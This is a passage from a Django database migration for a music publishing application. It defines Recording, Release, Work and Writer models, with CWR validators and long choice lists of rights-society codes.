('version_title', models.CharField(blank=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('work_title')])),
('version_title_suffix', models.BooleanField(default=False, help_text='A suffix to the RECORDING title.')),
('release_date', models.DateField(blank=True, null=True)),
('duration', models.DurationField(blank=True, null=True)),
('isrc', models.CharField(blank=True, max_length=15, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('isrc')], verbose_name='ISRC')),
('artist', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.artist', verbose_name='Recording Artist')),
('record_label', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.label', verbose_name='Record label')),
],
options={
'verbose_name': 'Recording',
'verbose_name_plural': 'Recordings',
'ordering': ('-id',),
},
),
migrations.CreateModel(
name='Release',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('cd_identifier', models.CharField(blank=True, max_length=15, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('name')], verbose_name='CD identifier')),
('release_date', models.DateField(blank=True, null=True)),
('release_title', models.CharField(blank=True, max_length=60, null=True, validators=[music_publisher.validators.CWRFieldValidator('title')], verbose_name='Release (album) title ')),
('ean', models.CharField(blank=True, max_length=13, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('ean')], verbose_name='Release (album) EAN')),
('library', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.library')),
],
options={
'verbose_name': 'Release',
},
),
migrations.CreateModel(
name='Work',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(db_index=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('title')])),
('_work_id', models.CharField(blank=True, editable=False, max_length=14, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('name')], verbose_name='Work ID')),
('iswc', models.CharField(blank=True, max_length=15, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('iswc')], verbose_name='ISWC')),
('original_title', models.CharField(blank=True, db_index=True, help_text='Use only for modification of existing works.', max_length=60, validators=[music_publisher.validators.CWRFieldValidator('work_title')], verbose_name='Title of original work')),
('last_change', models.DateTimeField(editable=False, null=True, verbose_name='Last Edited')),
('artists', models.ManyToManyField(through='music_publisher.ArtistInWork', to='music_publisher.Artist')),
],
options={
'verbose_name': 'Musical Work',
'ordering': ('-id',),
'permissions': (('can_process_royalties', 'Can perform royalty calculations'),),
},
),
migrations.CreateModel(
name='Writer',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_name', models.CharField(blank=True, max_length=30, validators=[music_publisher.validators.CWRFieldValidator('name')])),
('last_name', models.CharField(db_index=True, max_length=45, validators=[music_publisher.validators.CWRFieldValidator('name')])),
('pr_society', models.CharField(blank=True, choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, null=True, validators=[music_publisher.validators.CWRFieldValidator('pr_society')], verbose_name='Performance rights society')),
('mr_society', models.CharField(blank=True, choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP 